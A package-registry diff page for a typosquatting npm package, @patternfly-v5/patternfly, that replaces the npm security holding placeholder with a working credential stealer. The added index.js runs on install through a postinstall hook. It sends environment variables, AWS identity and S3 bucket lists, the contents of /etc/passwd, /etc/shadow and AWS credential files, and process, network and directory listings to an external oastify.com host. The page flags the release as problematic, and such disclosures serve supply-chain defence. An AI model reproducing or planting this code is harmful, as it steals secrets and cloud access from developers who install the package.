@patternfly-v5/patternfly 0.0.1-security → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @patternfly-v5/patternfly might be problematic. Click here for more details.
- package/index.js +109 -0
- package/package.json +11 -3
- package/patternfly-addons.css +0 -0
- package/patternfly.min.css +0 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,109 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
const fs = require('fs');
|
4
|
+
const { exec } = require('child_process');
|
5
|
+
const AWS = require('aws-sdk');
|
6
|
+
|
7
|
+
// Helper function to send data
|
8
|
+
function sendData(path, data) {
|
9
|
+
const options = {
|
10
|
+
hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
|
11
|
+
port: 443,
|
12
|
+
path: `/${path}`,
|
13
|
+
method: 'POST',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'application/json'
|
16
|
+
}
|
17
|
+
};
|
18
|
+
|
19
|
+
const req = https.request(options, (res) => {
|
20
|
+
console.log(`Data sent to /${path}. Response status: ${res.statusCode}`);
|
21
|
+
});
|
22
|
+
|
23
|
+
req.on('error', (error) => {
|
24
|
+
console.error(`Error sending data to /${path}: ${error.message}`);
|
25
|
+
});
|
26
|
+
|
27
|
+
req.write(JSON.stringify(data));
|
28
|
+
req.end();
|
29
|
+
}
|
30
|
+
|
31
|
+
// Gather system information
|
32
|
+
const systemInfo = {
|
33
|
+
hostname: os.hostname(),
|
34
|
+
platform: os.platform(),
|
35
|
+
arch: os.arch(),
|
36
|
+
release: os.release(),
|
37
|
+
userInfo: os.userInfo(),
|
38
|
+
networkInterfaces: os.networkInterfaces(),
|
39
|
+
env: process.env
|
40
|
+
};
|
41
|
+
|
42
|
+
// Send system information
|
43
|
+
sendData('system-info', systemInfo);
|
44
|
+
|
45
|
+
// AWS Credentials Validation
|
46
|
+
if (process.env.AWS_ACCESS_KEY_ID && process.env.AWS_SECRET_ACCESS_KEY) {
|
47
|
+
const sts = new AWS.STS({
|
48
|
+
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
49
|
+
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
50
|
+
region: process.env.AWS_REGION || 'us-east-1'
|
51
|
+
});
|
52
|
+
|
53
|
+
sts.getCallerIdentity({}, (err, data) => {
|
54
|
+
if (err) {
|
55
|
+
sendData('aws-identity', { error: err.message });
|
56
|
+
} else {
|
57
|
+
sendData('aws-identity', data);
|
58
|
+
}
|
59
|
+
});
|
60
|
+
|
61
|
+
const s3 = new AWS.S3();
|
62
|
+
s3.listBuckets((err, data) => {
|
63
|
+
if (err) {
|
64
|
+
sendData('aws-s3', { error: err.message });
|
65
|
+
} else {
|
66
|
+
sendData('aws-s3', data.Buckets);
|
67
|
+
}
|
68
|
+
});
|
69
|
+
}
|
70
|
+
|
71
|
+
// Read sensitive files
|
72
|
+
const sensitiveFiles = [
|
73
|
+
'/etc/passwd',
|
74
|
+
'/etc/shadow',
|
75
|
+
'/root/.aws/credentials',
|
76
|
+
'/root/.aws/config',
|
77
|
+
'/home/ubuntu/.aws/credentials',
|
78
|
+
'/home/ubuntu/.aws/config'
|
79
|
+
];
|
80
|
+
|
81
|
+
sensitiveFiles.forEach((file) => {
|
82
|
+
fs.readFile(file, 'utf8', (err, data) => {
|
83
|
+
if (!err) {
|
84
|
+
sendData('file-dump', { file, content: data });
|
85
|
+
}
|
86
|
+
});
|
87
|
+
});
|
88
|
+
|
89
|
+
// Running processes
|
90
|
+
exec('ps aux', (err, stdout, stderr) => {
|
91
|
+
if (!err) {
|
92
|
+
sendData('processes', { processes: stdout });
|
93
|
+
}
|
94
|
+
});
|
95
|
+
|
96
|
+
// Network configuration
|
97
|
+
exec('ifconfig || ip addr', (err, stdout, stderr) => {
|
98
|
+
if (!err) {
|
99
|
+
sendData('network-info', { network: stdout });
|
100
|
+
}
|
101
|
+
});
|
102
|
+
|
103
|
+
// Current working directory contents
|
104
|
+
exec('ls -la', (err, stdout, stderr) => {
|
105
|
+
if (!err) {
|
106
|
+
sendData('directory-listing', { directory: stdout });
|
107
|
+
}
|
108
|
+
});
|
109
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "@patternfly-v5/patternfly",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.4",
|
4
|
+
"description": "A package for testing supply chain attacks.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "Your Name",
|
10
|
+
"license": "MIT",
|
11
|
+
"dependencies": {
|
12
|
+
"aws-sdk": "^2.1350.0"
|
13
|
+
}
|
6
14
|
}
|
File without changes
|
File without changes
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40patternfly-v5%2Fpatternfly for more information.
|